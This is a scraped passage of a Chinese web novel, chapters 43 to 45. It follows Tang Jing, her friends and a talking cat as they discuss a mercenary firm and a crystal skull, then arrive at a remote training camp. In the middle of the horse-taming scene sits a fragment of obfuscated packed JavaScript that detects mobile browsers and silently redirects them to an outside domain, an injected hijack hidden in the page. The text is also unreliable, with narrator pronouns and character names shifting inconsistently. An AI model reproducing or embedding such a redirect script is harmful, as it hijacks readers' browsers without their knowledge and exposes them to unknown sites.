一个阴郁冷峻成熟的男人,突然展现出了孩子气的那一面,不得不说,这种强烈的反差,有些让人意乱神迷。 夜色朦胧,外面万家灯火,唐镜的心,像是被温暖的春水包围,慢慢柔软。 就在这时候,阳台上的玻璃移门被拉开,郑落落站在门口,看着唐镜和伊峰秋,一脸的莫名其妙:“喂,外卖来了,你俩还不进来吃饭?大冷的天,拿个苍蝇干嘛?” 唐镜和伊峰秋相视一笑,看了看苍蝇拍,没有说话,两个人之间好像共同拥有了一个秘密。 这种感觉,真不错。 两人跟着郑落落回到客厅,餐桌上摆着刚送来的外卖,大黑已经很不客气的坐在餐桌上,面前摆着它专用的盘子。 大黑被带回来的第二天,唐镜就专门去超市给它买了猫粮和猫罐头,当时大黑还吃的津津有味。 不过,自从郑落落无心之中,给它尝了口点的绿茶虾仁后,大黑就坚决不肯吃猫粮和猫罐头了,坚持要和四个人吃一样的饭菜。 虽然唐镜和郑落落都觉得,一只猫像人一样吃饭,有些怪怪的感觉,不过想来,如果反对的话,估计以后每顿饭,大黑都不会让她们吃的舒畅,也就同意了它的要求。 外卖是郑落落叫来的,六菜一汤,米饭是唐镜用伊峰秋家里的电饭煲自己做的。 伊峰秋家的厨房,一看就是那种不做饭的单身汉特有的厨房,干净的像张白纸,油盐酱醋全无,冰箱里面只有瓶装的纯净水。 伊峰秋和郑落落以前上班的时候,午饭晚饭都在单位解决,都是并不需要做饭,也没什么时间做饭的人。 现在四人一猫住在这里,唐镜和齐修还有黑猫大部分时间都待在房子里,伊峰秋和郑落落本来安排唐镜做晚饭,这样四个人就可以一起在家吃顿晚饭。 可惜,想象很丰满,现实太骨感。 其实唐镜真的已经尽力了,按照菜谱,买来食材,一丝不苟的按照程序,做了五个最简单的菜:麻婆豆腐、番茄炒蛋、清蒸鲈鱼、红烧鸡翅,香菇菜心。 结果,按照郑落落的原话“原来做菜,也是需要天赋的,唐镜,我觉得,你在这方面的天赋,一定是负数级别”。 唐镜把每道菜都尝了一口,觉得郑落落的话很有道理。 自那天以后,众人绝口不提让唐镜做饭的事情,而是给了她几张外卖单,她的任务,就是用电饭煲做好米饭,然后从外卖单上点菜。 既然没有天赋,烧菜又不是必备的生存技能,那么唐镜又何必和自己过不去呢,再说了,这个年代,有时候,会点菜比会做菜更重要呢。 餐桌上六菜一汤,冒着香气:干锅茶树菇、油爆虾、剁椒鱼头、蒜蓉生菜、百合西芹、农家小炒肉、蛤蜊豆腐汤。 齐修安静的坐在唐镜旁边,碗筷摆在他面前,他却不拿起来,只侧了头,静静的看着我。 灯光下,他精致的五官轮廓就像玉雕。 郑落落用一种幸灾乐祸的目光看着唐镜,而伊峰秋的眼里,则是多了点戏谑。 唐镜叹了口气,真的很想抽自己一耳光,叫你多事,为什么要给齐修手里塞那块面包呢! 从那以后,每次吃饭,齐修一定要等唐镜把碗筷放到他手里,他才会开始吃饭,就好像成了一个仪式…… 当然,唐镜也试过自己吃自己的,不去理会齐修,不能给他养成这种坏习惯。 可是,如果你在吃饭的时候,旁边一个精致的跟玉雕似的男人,用那种孩子般纯真的眼神,呆呆的看着你,你就会越吃越别扭。 其实如果光是这样,唐镜心狠狠,别扭就别扭,可是,当齐修连续两天,因为她不给他递碗筷,就始终没有吃东西,在大家吃饭的时候,只静静地坐在她旁边。 唐镜终于确定,要是再这么继续下去,齐修很有可能饿死在伊峰秋家里。 好吧,为了大局,她只能投降了。 在第七顿饭的时候,已经饿了六顿饭的齐修,接过唐镜递给他,盛了米饭的小碗和一双筷子,满意的吃了起来。 看着伊峰秋和郑落落那种忍笑的表情,唐镜只能祈祷,齐修赶紧恢复正常吧,哪怕是外星人的意识恢复过来,她也可以接受了。 否则,她给自己找的这个麻烦,啥时候才能到头啊! 天天像影子似的黏在身后,吃饭的时候还得服侍好碗筷,她这简直就是给自己招了个大爷来啊! 偏偏既不能打又不能骂,主要是她肯定打不过齐修,骂他,他也听不懂,她也是白费口舌。 现在每次吃饭的时候,唐镜给齐修奉上碗筷之后,都会忍不住长吁短叹,自艾自怨一番。 “伊峰秋,你赶紧想个法子,把齐修治治好,这日子,真没法过了!”唐镜嚼着鱼肉,恶狠狠的说。 伊峰秋还没说话,郑落落先噗哧笑出声来,揉着胸口,假装庆幸的说:“小镜,你看我当初多明智,就让齐修饿着,没给他东西吃,哎,我真是太英明神武了。” “你少幸灾乐祸,反正只要齐修这样子跟着我一天,你就休想离开我一天!”唐镜朝郑落落翻了个白眼。 “哈哈,你想粘着我,我才不在乎呢,你也知道,我就喜欢人多热闹,就怕有人受不了,两只大灯泡天天照着,那滋味,啧啧……” 郑落落一边说,一边瞟了伊峰秋一眼。 唐镜脸一热,正想反唇相讥,却忘了嘴里正吃着鱼肉,一不小心,鱼刺卡进了喉咙。 还好鱼刺卡得比较浅,她张开嘴,让郑落落拿镊子把刺拔了出来,如果再深一点,她就得直接奔医院急诊室了。 伊峰秋把装着鱼头的盘子从唐镜面前拿走,放到自己面前。 唐镜有些着急:“喂,我最喜欢吃鱼了,你别拿走啊,不就是被刺卡了下嘛,我从来不会因噎废食,因刺废鱼。” 伊峰秋没说话,拿起旁边放着的餐刀和牙签,灵活快速的把鱼骨头和鱼刺,从鱼肉上剔了出去。 他修长的手指,握着不锈钢餐刀,那种认真而专注的姿态,有一种说不出的魅力。 盘子里的鱼头,还保持着完整的形态,而鱼骨头和鱼刺,都被剔了出来,整整齐齐的放在盘子边上。 伊峰秋把盘子重新放到唐镜面前,淡淡的说:“吃鱼头都能被刺卡住,笨成这样,也是少见。” 虽然这话听着有些不爽,可是看在某人精湛的剔鱼刺手艺上,她也就不计较了…… 郑落落毫不客气的伸筷子过来,夹了一块鱼肉放进自己碗里:“在单身狗面前秀恩爱,活该被鱼刺卡。” “单身狗何必为难单身狗。”唐镜有气无力的回了一句,同时有点窘迫的看了伊峰秋一眼。 秀恩爱? 伊峰秋和她只是纯洁的工作关系,好不好啦! 郑落落嗤之以鼻。 大黑睁着圆溜溜的大眼睛,右手爪子举起来,划了两个横着的“一”。 二? 唐镜和郑落落同时愣了一下,随即才反应过来,黑猫这是说谁很“二”呢? 郑落落放下筷子,拿手指着唐镜,笑的快要直不起腰了:“唐镜,你最近教黑猫学汉字,成果真是大大的好啊,二,哈哈,好二,玛古,这个二,是不是二货的二啊?” 大黑用爪子撸了撸胡子,大模大样的点了点头。 唐镜这两天在电脑上装了个小学生读写软件,让大黑自己对着电脑学习,这货学习之余,就点开网络乱看,她也没理会,还想着多浏览点网页,也能提高它的简体中文水平,早点问清楚它的前世今生。 这下倒好,黑猫居然知道对她比划“二”字了,唐镜瞪着它:“你再比划一个,信不信我立刻给你断网,让你从此以后,再也上不了互联网!” 断网的威胁果然有效,黑猫喵呜一声,低下头,老老实实的吃起它盘子里的食物。 “我下个星期,请了七天的年休假,准备带齐修回老家,请长辈看看,有没有办法恢复齐修的意识。”伊峰秋淡淡的说。 啊,太好了! 唐镜几乎要热泪盈眶了,能早点治好齐修,她也就解放了! 如果不是在饭桌上,她保证要给伊峰秋一个大大的拥抱! “喔,那我就不用跟着你们去了吧,小镜你是逃不掉了。”郑落落眨眨眼睛,笑的那叫一个幸灾乐祸,“反正你去哪,齐修就会跟着你去哪。” “只要能甩脱这个牛皮糖,别说去你老家,就算是去刀山火海,我也义不容辞!” 伊峰秋说的老家长辈,一定是正一门中的高人,一定有办法治好齐修,唐镜恨不得明天就动身出发。 “铁蝎隶属的雇佣军组织叫‘黑蜂’,是国际上顶尖的雇佣军组织,以保安服务的名义,提供各种军事安全服务,是全球最大的私人保安公司之一。” 伊峰秋提起铁蝎,立刻吸引了唐镜和郑落落的注意力。 只有齐修,还是安静的吃饭,连眼皮都没抬一下,他的世界,只在眼前三十公分之内,三十公分之外的世界,于他无关。 “黑蜂保安公司是由几名退役军人组建的,成立的时候,公司总人数不超过10个人,不到三年,黑蜂公司业务突飞猛进,接了不少跨国公司的订单,一跃成为世界最大的保安公司之一,雇员已经超过万人。” “这所谓的保安公司,就是发战争财的吧?”唐镜忍不住插嘴道。 “不错,黑蜂公司能够迅速崛起,就是拜战 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伊峰秋点了点头:“你说的没错,把水晶头骨送到局里以后,我也想到了这个问题,就再次去了叶菲家,在她家屋顶的吊灯上,发现了一个无线窃听器。” “太阴险了!”唐和郑落落异口同声说道。 “也就是自那天以后,我发现有人跟踪我,对方的反跟踪能力、个人战术水平都极强,我暗中派去的人,都被轻松甩脱。” “所以你最后把他引到了齐家祖宅,让齐修对付他,顺便试探一下齐修的深浅,正好一石二鸟来?”唐镜一边说,一边看了齐修一眼。 齐修只在听到他的名字的时候,抬起头,用纯净,却又不带任何情绪的眸子看了我们一眼,随后又低头专心吃起饭来。 “你是怎么认出他是黑蜂的人的?”郑落落问道。 “那个无线窃.听器做工精良,集成了最前沿的一些科技成果,市面上售价不低于一万美金,国际上只有为数不多的几个国家,配备给特种部队,军情人员。这种无线窃.听器,就是黑蜂公司研发的。” “光凭个窃.听器,也不能证明他是黑蜂公司的人啊?”郑落落说道。 “就在叶菲失踪的前几天,克斯拍卖行总公司,派了三十多人,带来了上百件上古文物,和Y市的收藏家协会,联合筹备一场上古文物展览,他们此行的安保工作,就是由黑蜂公司提供的。” 伊峰秋说到这里,看了齐修一眼。 唐镜猛然想起来,齐修以前留学的时候,曾经在克斯拍卖行工作过。 “后来,局里请来的网络安全专家,根据无线窃.听器的信号反馈,破解出的迷钥,证明这枚无线窃.听器,是黑蜂公司自用的装备。再联系到黑蜂公司有将近百名安保人员,这段时间随克斯拍卖行驻留在我市,一切自然不言而喻。” “上古文物展什么时候开始?”唐镜问道。 大黑应该也听懂了一些,忘了盘子里的食物,圆溜溜的猫眼盯着伊峰秋。 “已经开始了,文物展会持续三个月,到明年三月份的时候,克斯拍卖行会在Y市举行春季拍卖会,拍卖的标的,就是这批上古文物。” “克斯拍卖行来到Y市,叶菲失踪,黑蜂派人潜入叶菲房间,寻找水晶头骨,叶菲的失踪,会不会和克斯拍卖行有关系?”唐镜猜测道。 黑蜂公司是安保公司,想来不会对水晶头骨有什么兴趣,最有可能的,自然是接受雇佣,为主顾寻找水晶头骨。 可是,克斯拍卖行,怎么知道叶菲那里有水晶头骨,他们又为什么要不择手段的寻找水晶头骨? 郑落落说:“克斯拍卖行,跟全世界各地的文物走私贩子、盗墓团伙、探险家都有千丝万缕的联系,一旦知道水晶头骨的下落,肯定志在必得。” “现在水晶头骨保存的地方,安全吗?”唐镜随口问了句。 但是没等伊峰秋说话,她就意识到,这应该属于保密信息,她不应该问这种问题,赶紧继续说道,“你不用回答,就当我什么都没问过。” 伊峰秋淡淡一笑。 “你们说,水晶头骨会不会和莫纳星人有关系?”郑落落问道。 “水晶头骨是不是跟莫纳星人有关系,我不知道,但是黑蜂公司的幕后大BOSS,说不定和莫纳星人有什么联系!”唐镜接着说道。 如果按照伊峰秋的描述,那晚带走小屋和铁蝎的神秘气泡,肯定是一件已经超越了人类科技水平的武器,再联系到莫纳星人基地里的画面,实在是无法不把二者联系到一起。 “如果幕后大BOSS能用气泡轻而易举让一间房子和一个人消失,想拿到水晶头骨,应该也是轻而易举的事情吧。”郑落落提出异议。 伊峰秋没有说话,只是淡淡笑了笑。 “我们这些普通人,怎么可能知道庙堂的实力,没准早就有外星人觊觎地球,但是都被神秘而强大的地球势力给赶跑了。”唐镜打趣道。 郑落落也笑起来:“也是也是,那些网络小说,科幻影视,没准也不全是瞎掰。” “你打算什么时候去莫纳星人的基地?现在是冬天,喜马拉雅山应该已经封山了吧?”唐镜问伊峰秋。 “明年七月份,最适合登山的季节。”伊峰秋说道,“这次从老家回来,就要开始着手准备工作了。” “我跟你一块去!” 攀登喜马拉雅山,想想就让人热血沸腾,更何况,还能进入到外星人的基地,这种事情,唐镜绝对不允许自己错过! “我也要去!”郑落落也来了精神。 说实在的,唐镜虽然提出要一起去,但是压根就没指望伊峰秋会同意,毕竟,攀登喜马拉雅山,可不同于爬Y市的西高峰,对于人的身体素质,心理素质,都是极大的考验。 她虽然接受过严格的体术训练,郑落落也有运动习惯,身体素质都比一般人要好很多,但是要去攀登喜马拉雅山,还是远远不够的。 对伊峰秋来说,带着她和郑落落,即使不算累赘,也多少是个麻烦。 万万没想到,伊峰秋竟然同意了,不过他提出了一个要求,等年后从他老家回来,唐镜和郑落落要跟他一起参加训练,提升体能和登山技术,训练结束后通过考核,才带她们两个人去爬喜马拉雅山。 唐镜和郑落落别提有多兴奋了,立刻同意了。 44. 第 44 章 讨论完去喜马拉雅山的事,就又谈起带齐修去正一门的事情。 唐镜看到坐在一边,如玉雕般的齐修,突然有一丝不安涌上心头:“伊峰秋,你老家正一门的高人,能治好齐修的吧?” “这个很难说,齐修这种情况,也不知道老家的长辈有没有法子,我也是抱着死马当活马医的想法去试试。”伊峰秋很认真的说。 好像一盆冷水从头顶上泼下来,把唐镜心里熊熊燃烧的大火彻底浇灭。 身边跟着这么个牛皮糖,她怎么去喜马拉雅山啊?把他一个人留着,会不会饿死? “我要去喜马拉雅山,我不要留在这里照顾他……”唐镜喃喃自语。 “大不了,你把齐修也带着呗,他的身手那么好,又那么听你的话,就当是个免费的保镖,不用白不用,而且,颜值这么高,带着也倍有面子。“郑落落给我出主意。 “这么好的保镖,白送给你,你要不要?”唐镜朝郑落落翻了个白眼。 “如果齐修没治好,到时候就跟我们一起参加训练,一起去喜马拉雅山,”伊峰秋淡淡的说,“长辈们若是治不好他,基地那里说不定能找到办法。” …… 接下来的一个星期,大家按照计划,为去伊峰秋老家,拜访正一门长辈做准备。 可是就在快要出发前的两天,伊峰秋突然接到一个电话。 手机铃响的时候,四人一猫正在吃饭。 伊峰秋漫不经心的从口袋里掏出手机,瞄了眼手机屏幕,当他看清楚上面的手机号时,表情突然凝固。 他那时的表情非常古怪,像是有些不安,又像是有些茫然,却又掺杂着一丝如释重负般的放松。 总之,唐镜从来没在他身上见过这样的表情,也从来没想到,他会出现这种表情。 伊峰秋拿起手机,去了他的卧室,并且还关上了卧室门。 唐镜和郑落落对视一眼,都从彼此眼里看到了惊讶之色。 这个电话时间很长,隔着门,偶尔可以隐隐听见,伊峰秋突然提高的声音,虽然非常短暂,却能感受语气中蕴含的怒意 他像是在电话里跟人争论。 唐镜和郑落落无心吃饭,看着卧室门,竖着耳朵,却依旧听不清什么。 这个电话打了足足有半个小时,等伊峰秋出来的时候,桌上的菜都凉了。 他坐回桌边,脸色有些阴沉,心情显然不好。 唐镜和郑落落自然不会多问,假装什么都没看见。 伊峰秋沉默了一会,才给她们说,正一门遇到一桩大事,掌门真人让他暂时不要回去,让他把唐镜、郑落落和齐修,送到天一馆。 天一馆? 我和郑落落面面相觑,这是什么地方? 伊峰秋:“天一馆在莫邪山,掌门真人说,你们想要的答案,最终还是要从自身上寻找,天一馆的训练营,也许能对你们有帮助。” 他这么一说,唐镜和郑落落自然心动,对他后面说的什么辛苦、残酷之类的话,压根就没放在心上,当即就决定,要去参加天一馆训练营。 唐镜因为这几年工作,还有点积蓄,老是这么请假也不是回事,索性就辞了工作,打算等从喜马拉雅山回来,再重新找工作。 郑落落则因为学校放寒假,可以休息一个多月,连假都不用请了。 于是就在周日的一大早,伊峰秋开车带着三人,去了莫邪山。 莫邪山是横亘在神州大地北部的一道山脉,是一处著名的度假休闲胜地,山上有百年前的名人故居,有上世纪二十年代修建的山庄,也有改革开放后,开发的度假山庄。 唐镜还是第一次去莫邪山,刚到山脚,就觉满眼苍翠。 此时虽然已经是深冬,可是也许是山脉挡住了来自北方的冷空气,也许是地热缘故,山上的树木在冬季,也绿意盎然。 各种建筑,或中式白墙黑瓦,或西式小楼,零零散散的点缀在这绿色之中。 车沿着盘山路,从山脚往山顶一路开去,快到山顶的时候,伊峰秋方向盘一转,拐进了一条隐蔽的小路,路两边长满高大的树木。 小路尽头,是一幢占地面积极大的二层楼房,青灰色的墙面,深褐色的原木,显得粗犷而随意。 一楼正门上方,写着龙飞凤舞的“天一馆”三个大字,笔意酣畅淋漓,一笔一划间透着股子霸气。 楼房前有一片空地,孤零零停着辆黑色的越野车。 伊峰秋把车停在越野车旁边,拉开车门跳下来,直接往一楼大门走去,唐镜一边跟着伊峰秋往里面走,一边好奇的打量着周围的环境。 和一路见到的那些建筑比,天一馆显得原始粗犷许多。 门虚掩着,伊峰秋直接推门进去,刚进去,我就听见一个清脆的女声,带着笑意:“伊大哥,你终于来啦!” 一个二十多岁的女孩笑盈盈的迎了上来,身材姣好,五官秀美,眉目间却又透着英气。 “介绍下,这是笑笑,这是我的朋友唐镜、郑落落和齐修。”伊峰秋一边说一边往里走,很显然,他对这里非常熟悉。 笑笑朝三个人笑嘻嘻的点了点头。 整个一楼空旷简朴,墙面是清水混凝土,地上摆着些健身器械,手腕粗细的绳子,从屋顶垂下来,一面墙上,还钉着些架子。 乍一看,倒像是一个体能训练馆。 二楼凌空挑高,倒是像个露台,只占了三分之一面积,从二楼的栏杆边,可以俯瞰整个一楼大厅。 整个房子里都空荡荡的,除了她们这几个人,看不到半个人影。 这个地方,就是为攀登喜马拉雅山做体能训练? 叫笑笑的女孩直接带四人上了二楼,二楼靠近栏杆的地方,摆放着一张圆桌,足够坐十个人,桌面是一整块的木头,只是做了简单的刨光,连清漆也没上,散发着木香味。 桌上摆着茶具和茶叶。 四人在桌边坐下,笑笑熟练的摆弄着茶具,开始泡茶。 “笑笑,阿虎呢?”伊峰秋问道。 “在后面马场,今早送来了几匹马,有一匹是野马,是被麻醉了才抓到送来的,醒来以后,谁也不让靠近,阿虎正跟它较劲呢。” 伊峰秋一下站了起来,向来阴郁冷静的目光,难得闪过兴奋之意:“这种场面,可不能错过。” 这下子,茶也不喝了,伊峰秋带着三人直接下楼,走出后门,穿过后院,外面就是马场,沿着山势而建,足有七八亩面积。 只见马场上,黑色的骏马如同一道闪电,正在狂奔,长长的马鬃飞舞,而在骏马的后面,则是一个彪悍的男人身影,追着黑马不放! 他的速度,竟然不亚于奔马! 唐镜忍不住把眼睛揉了又揉,确定自己没有眼花。 难道这就是传说中的轻功? 男人的速度越来越快,已经追上了骏马,随即,就见他一抓马鬃毛,飞身骑上了马背。 尽管没有马鞍,也没有缰绳,而且骏马还在不停的扬蹄,试图把马背上的男人甩出去。按理说,这时候马背上的男人,早就该被甩到地上,摔断几根骨头才对,然而他却神奇般的安稳坐在马背上,就好像屁股上涂满了强力胶水一样。 很显然,马背上的男人已经看到了他们几人。 他狠狠一拽马鬃毛,让骏马直接朝他们的方向驰来。 马越奔越近,已经可以看清马背上男人的脸。 他看起来年纪也不算大,应该不到三十,只是下巴上的胡渣,使得他乍看起来,很有些沧桑的味道,眼睛不大,不过眼神很凌厉,像一把出鞘的刀。 他随随便便穿了件黑色紧身训练服,胸前由上向下,一半扣子开着,露出纠结发达的胸肌,使得他有一种特别的力量和英气的男子气概。 郑落落的双眼开始冒星星,把一只手按在胸口上:“这才是真男人啊,我的心跳好快啊……” 唐镜现在哪有心思理会发花痴的郑落落,只担心这马飞奔过来,直接踩断自己的脖子。 骏马越奔越近,她都能听到马鼻子喷气的声音,翻飞的马蹄踏在地上,泥土和草屑飞溅开来。 伊峰秋一动不动,迎着骏马奔来的方向,身形笔直,凝定如山。 唐镜有点双脚发软,不过在这种场合下,不管是闪躲,还是尖叫,都未免显得有些小家子气,而且最重要的是,伊峰秋就站在身边。 她相信他。 齐修还是像座玉雕,静静站立,看也没看那飞奔而来的黑马,目光依然望向遥远的天际,好像身周的一切都和他无关。 至于郑落落,盯着马背上的男人,眼睛里全是小星星,估计就算那匹马一头撞到她身上,她也只会欢喜雀跃,因为她至少可以在被撞翻之前,摸一把马背上的男人。 骏马飞驰。 马背上的男人,两只手抓着马鬃毛,身体微微后倾,随着骏马的飞奔上下起伏,看不出半点紧张,反而给人一种极其舒展洒脱的感觉。 不知道为什么,唐镜突然想到了傲啸山林的猛虎。 骏马冲到伊峰秋面前,马头将将要撞到他的鼻子时,马背上的男人忽然一声大笑,双手用力一拽。 黑马一声嘶鸣,硬生生转了个九十度,马身几乎是贴着伊峰秋的身体,斜刺刺蹿了出去。 整个过程中,伊峰秋连睫毛都没动一下,只淡淡看着马背上的男人,眼中隐含笑意。 唐镜当然也是一动不动的定在那里,不过不是因为淡定,而是因为反应不过来,纯粹给吓呆了。 郑落落倒是发出了一声尖叫,不过不是因为害怕,而是那种粉丝看到偶像时候的花痴尖叫声。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234672|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 至于齐修,还是玉雕一个,只在马背上的男人大笑的时候,目光转了转,茫然看了他一眼,随即又回到了自己的世界里。 黑马斜蹿出去了十几米,也不知道马背上的男人用了什么法子,只听到又一声长嘶,马蹄在空中高高扬起,随即重重踏落在地上,草皮上直接被踏出了两个碗大的坑。 然后,黑马就一动不动的站在那里,温顺的像只小羊羔。 很显然,这匹桀骜不驯的烈马,经此一役,已经彻底被驯服了。 男人从马背上一跃而下,唐镜还没看清楚,就见他身形一晃,不知道怎么的,已经到了伊峰秋面前,同时,快如闪电的一拳,已经挥向伊峰秋的鼻子。 她的一颗心几乎要跳出喉咙。 光是听这拳带起的风声,如果砸实了,伊峰秋只怕鼻子被直接砸进脑子里去。 这是怎么回事? 还没等唐镜反应过来,伊峰秋也出手了,他不躲不闪,同样一拳挥出去,只不过对准的是对方的眼睛。 唐镜清楚伊峰秋的身手,这一拳出去,对方不仅仅是熊猫眼那么简单,估计眼珠直接砸进后脑勺里。 这两人不是朋友吗,怎么见面反而像仇人似的动起了手? 两个人笔直的站在那里,都是不躲不闪,只不过,当对方的拳头离伊峰秋的鼻梁只有一厘米的时候,突然定住了。 同样,伊峰秋的拳头在离对方眼睛一厘米的时候,也定住了。 两个人就这样举着拳头,看着对方,静默了瞬间,随即,同时笑了起来。 伊峰秋是淡淡的笑,而对方则是哈哈大笑,极其豪迈。 随后,两个人的拳头往下一沉,在对方肩头同时捶了一下。 “伊峰秋!” “阿虎!” 唐镜这才松了口气,发现后背居然都被汗湿透了,这就是男人之间表达情义的方式吗? 一行人重新回到房子里,坐到桌边。 看到阿虎熟练的沏茶手法,唐镜对他刮目相看,驯得了烈马,玩的了茶道,这男人,不简单。 一杯茶喝完,伊峰秋放下茶杯,直接了当的问:“这期基础训练营情况怎样?” “昨天已经开始了,目前受训成员二十一个,其中十二个是退役的特种兵,七个是某国送来的高级保镖,还有三个最有意思,居然是黑蜂的人。” 阿虎边说,边慢悠悠的给伊峰秋重新续上茶水。 伊峰秋脸上没什么表情,只是在听到黑蜂两个字的时候,微微挑了挑眉毛。 堂姐则瞪大了眼睛,眼珠险些从眼眶里掉下来。 天一馆到底是什么地方?还有这基础训练营,又是怎么回事?这些来参加培训的,又都是些什么鬼,怎么还有黑蜂的人? “退役特种兵来这培训?”唐镜忍不住问道。 “一土豪老板,在南非投资挖钻石,上次带的保镖,请的是什么在海豹部队特训过的,结果去了没两个月,都被人干掉了。这次招了退役的特种兵,还是不放心,非要送到我这里培训。”阿虎漫不经心的说。 唐镜的眼珠再一次的从眼眶里掉了下来。 伊峰秋似乎并没什么意外,继续问道:“这期训练营的教官是谁?” “飞鹰和雪豹。”阿虎笑了笑,有些意味深长的看了唐镜和郑落落一眼,“你真舍得送这俩娇滴滴的美女去训练营?” 伊峰秋淡淡一笑:“只能说她俩运气不错,就安排她们进这期的训练营吧。” 阿虎目光闪动了一下:“你知道飞鹰和雪豹的脾气,他俩从不接受半路加人的这种做法,按照惯例,我也不能破坏训练营的规矩。” 阿虎说完这句话后,伊峰秋沉默了一下,端起茶杯,慢慢啜饮了一口茶水,这才淡淡的说:“她们一定要参加这期的基础训练营。” 本来唐镜一直以为,伊峰秋送她们参加训练,只是为了明年去喜马拉雅山做准备,可是在见到阿虎,又知道了参加训练营的那些学员的身份后,她就觉得事情有些不对劲。 就算是为了攀登世界高峰,也不应该选择这种奇怪的训练营吧? 唐镜终于忍不住了,直接问伊峰秋:“这基础训练营到底是做什么的?为什么一定要参加这期的训练营?” 郑落落也终于不再发花痴了,疑惑的目光看向伊峰秋。 “为了能活着从喜马拉雅山上回来。”伊峰秋只说了这么一句话,就重新陷入到沉默中。 阿虎脸上的笑容渐渐消失,神情变得有些凝重,对伊峰秋说道:“你已经决定了?” “无所谓决定不决定,当前面只有一条路的时候,不继续走下去,难道还要停留在原地?”伊峰秋说道。 气氛变得有些诡异,唐镜和郑落落茫然的看了彼此一眼,完全弄不懂这两个人在说什么。 45. 第 45 章 沉默中,阿虎慢条斯理喝完一杯茶,转头朝着窗外大吼一声:“荣仔!” “来了,虎哥,什么事情?” 一楼有个年轻的声音应道,随后,就看见一个小伙子出现在楼下,这么冷的天,他只穿了件短袖训练服,额头上都是汗珠,估计刚才正在锻炼。 他仰头看过来,笑的有些腼腆。 小伙子五官生的很清秀,看上去,感觉有点眼熟,唐镜想了想,原来他和刚才那个叫笑笑的女孩长得有点像。 阿虎拿起放在茶桌上的车钥匙,随手往楼下一扔:“你开车送她们去训练营,告诉飞鹰和雪豹,这期的训练营再加三个人。” 荣仔吃了一惊,以至于连车钥匙都没接住,车钥匙掉在脚边,他也没有去捡,脸上露出为难的表情:“虎哥,天鹰哥和雪豹哥从不接受半路加人的这种做法,去年山口组的人参加训练营,迟了三分钟,硬要进营地,不是直接被天鹰哥给扔到蚂蚁窝里去了吗?” 唐镜忍不住打了个寒噤,郑落落脸色也有些发白。 “后来雪豹哥说营地的蚂蚁比较挑食,得加点佐料才行,又给那日本人身上刷了一层蜂蜜,不过没舍得用他收藏的极品雪莲蜜,随便弄了点槐花蜜,还感慨,槐花蜜口感差了点,只能委屈蚂蚁们了。” 荣仔一边说,一边拿眼偷看唐镜和郑落落。 “别罗嗦了,你送她们三个过去就行了。”阿虎对着荣仔摆摆手,又转头笑了笑,“我们天一馆的人是有原则的,绝对不做违法的事情,肯定让那日本人活着滚回去。” “虎哥,那日本人不是刚下飞机没多久就断气了吗?”荣仔接口道。 “那估计是东京机场的风水不好,把他克死了,和我们有什么关系?我们天一馆的人,做事是有原则的!”阿虎再一次强调道。 “那为什么要让日本人参加训练营?”荣仔嘟哝了一句。 “废话,日本人的钱,当然要赚了,培训出来的人,回他们日本以后,正好黑吃黑,又有钱赚,又有好戏看,这么好的事情,为什么不做。”阿虎这时候的笑容,颇有点像只老狐狸…… 荣仔苦着脸捡起钥匙:“反正我只负责把她们送到训练营,天鹰哥和雪豹哥收不收她们,可不管我的事了。” 阿虎看向伊峰秋:“我也只能帮你到这里了,看她们自己的本事了,若是能搞定天鹰和雪豹,自然就能参加这期训练营,若是进不了,那我也没办法。” 伊峰秋淡淡笑了笑:“够了,若是她们连这个都做不到,那么喜马拉雅山也没必要去了。” 唐镜忍不住翻了白眼,问阿虎:“下一期基础训练营什么时候开班?难道我非要上这一期不可?” “基础训练营每个季度开一次,训练时间两个月。不过每年只有一期训练营,是由飞鹰和雪豹做总教官。”阿虎笑了笑。 “那又怎样?”唐镜还是不明白,为什么伊峰秋一定要她们三个人参加这期的训练营。 阿虎没有回答,荣仔倒是在楼下叫起来:“姐姐,你知不知道,上一期飞鹰哥和雪豹哥的训练营里,只有一个学员达到了他俩定的合格标准。这个学员出去之后,某国的国王以一百万美金的年薪,聘他为护卫队队长!” 好吧,唐镜只能无语了,不过,她脑海里疑云是越来越大了,伊峰秋为什么要送她们参加这么严酷且古怪的训练营呢? 唐镜和郑落落同时看着伊峰秋,摆出一副他不说清楚,就不走的架势来。 伊峰秋淡淡说道:“莫姑娘留给我的信息里,说只要你们两个能完全激发出身体的潜能,就自然会明白你们和幻境里面那两个女人的关系。我想也许只有飞鹰和雪豹的训练营,能做到这点。” 唐镜和郑落落对视一眼,不再多说,直接站起来:“我们现在就去训练营!” 齐修自然而然的跟着站了起来。 “我在这里,等你们的消息。”伊峰秋深深的看了唐镜一眼,目光里有一种说不清道不明的情绪一闪而逝。 只是,唐镜已没心情去多想。 阿虎拿起茶壶,朝她们举了举:“我有一种预感,没准你们三个,还真能让飞鹰和雪豹破一次例。” 唐镜扬起下巴:“兵来将挡水来土掩,随便他们划出道儿来,我就不信这个邪!” 唐镜、郑落落和齐修三个人离开房子,上了停在门前的那辆越野车,荣仔油门一踩,越野车发出轰鸣声,从旁边的路直接开到后面的马场,然后横穿过马场,往山脚驶去。 到了山脚,越野车沿着一条颠簸的盘山路,继续往山的深处开去。 唐镜和郑落落一言不发,只是注视着车窗外的景物,齐修还是像个玉雕般坐在那里,一动不动。 开了将近半个多小时,越野车绕过山坳,眼前倏然开阔,这是一块位于两山之间的谷地,三面都是百米多高的悬崖峭壁,东面的悬崖上有一条瀑布奔流而下,泄入到下面的水潭里。 来的这条路,竟然是这里唯一的出入通道。 越野车唰的停下来,唐镜和郑落落从车上下来,还没站稳,就被瀑布上方的景象给吸引住了。 一个身材颀长的男人,穿着迷彩作战服,站在悬崖边上,右边肩膀上,站着一只雄鹰,瀑布在他脚边倾泻而下,水流如此湍急,可是他却如磐石般纹丝不动。 唐镜和郑落落抬头望着悬崖上的男人,即使隔得这么远,即使看不清那男人的五官,可是我们却依然能感觉到,那个男人身上透出的孤傲气质。 就像一只立在雪山之巅的雄鹰。 那个男人应该已经看到她们了,突然一跃而起,纵身往悬崖下跳去。 他要做什么? 